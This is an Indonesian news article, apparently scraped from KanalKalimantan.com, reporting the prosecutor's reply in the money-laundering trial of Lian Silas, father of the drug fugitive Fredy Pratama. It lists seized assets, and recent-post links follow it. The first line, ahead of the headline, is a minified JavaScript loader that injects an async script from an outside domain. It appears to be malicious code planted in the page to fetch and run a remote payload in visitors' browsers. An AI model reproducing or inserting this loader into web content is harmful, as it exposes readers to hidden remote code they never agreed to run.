(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Kasus Cuci Uang Narkoba Jaringan Fredy Pratama, JPU Minta Pembelaan Lian Silas Ditolak


KANALKALIMANTAN.COM, BANJARMASIN – Perkara Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy Pratama kembali bergulir di Pengadilan Tipikor Banjarmasin, Selasa (16/6/2024) siang.

Setelah kesempatan penasehat hukum Lian Silas menyampaikan pembelaan, giliran tim Jaksa Penuntut Umum (JPU) menyampaikan tanggapan atau replik atas pembelaan penasehat hukum terdakwa.

Replik yang disampaikan jaksa penuntut umum tetap pada tuntutan menyatakan Lian Silas bersalah melakukan tindak pidana pencucian uang narkotika yang dijalankan anaknya, Fredy Pratama alias Miming.

Jaksa penuntut umum yang melakukan penuntutan, Wayan memohon majelis hakim Pengadilan Negeri Banjarmasin menolak seluruh pembelaan penasehat hukum terdakwa Lian Silas.

Baca juga: Pipa Bocor di Jalan Pramuka, Air Kembali Seret di Banjarmasin Barat dan Selatan

“Penuntut umum memohon agar majelis hakim yang mengadili perkara ini agar menetapkan pembelaan penasehat hukum terdakwa ditolak,” kata Wayan.

Masih lanjut Wayan, pihaknya memohon agar majelis hakim menerima tuntutan jaksa penuntut umum dan memutus perkara Lian Silas sebagaimana tuntutan JPU beberapa waktu lalu.

Sebagaimana diketahui Lian Silas sebelumnya dituntut bersalah oleh JPU dengan pidana penjara 2 tahun 6 bulan dan denda Rp2 miliar subsidair 6 bulan kurungan.

Tuntutan yang dibacakan JPU pada Selasa (26/3/2024) lalu itu juga menuntut seluruh aset atau harta yang disita dari perkara TPPU narkotika Fredy Pratama dengan terdakwa Lian Silas dirampas untuk negara.

Baca juga: Riwayat Singkat Syekh Muhammad Arsyad Al-Banjari: 30 Tahun Menuntut Ilmu di Mekkah Madinah

JPU menyatakan ayah dari buronan narkoba kelas kakap itu terbukti melakukan pencucian uang dari bisnis narkotika yang dijalankan Fredy Pratama alias Miming. Sebagaimana yang terungkap dari fakta-fakta di persidangan.

Lian Silas dianggap terbukti melanggar pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang, sebagaimana dakwaan primair JPU.

Sementara diketahui ada 32 aset yang disita penyidik dalam perkara Lian Silas. Aset berupa tanah dan bangunan itu tersebar di beberapa daerah mulai dari Kalimantan Selatan, Kalimantan Tengah, hingga di luar Kalimantan.

Di Banjarmasin misalnya salah satu aset yang disita yaitu restoran Shanghai Palace, Hotel Mentaya Inn, Beluga Cafe yang masih satu gedung di Jalan Djok Mentaya.

Baca juga: Cek Kehadiran ASN Pemkab HSU di Hari Pertama Masuk Kerja

Kemudian di Kalimantan Tengah ada Hotel Armani Muara Teweh yang juga disita. Termasuk delapan unit kendaraan roda dua dan roda empat yang nilainya miliaran.

Usai pembacaan tanggapan JPU, majelis hakim yang dipimpin Jamser Simanjuntak menetapkan sidang berikutnya digelar dengan agenda duplik atau jawaban penasihat hukum atas replik penuntut umum. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.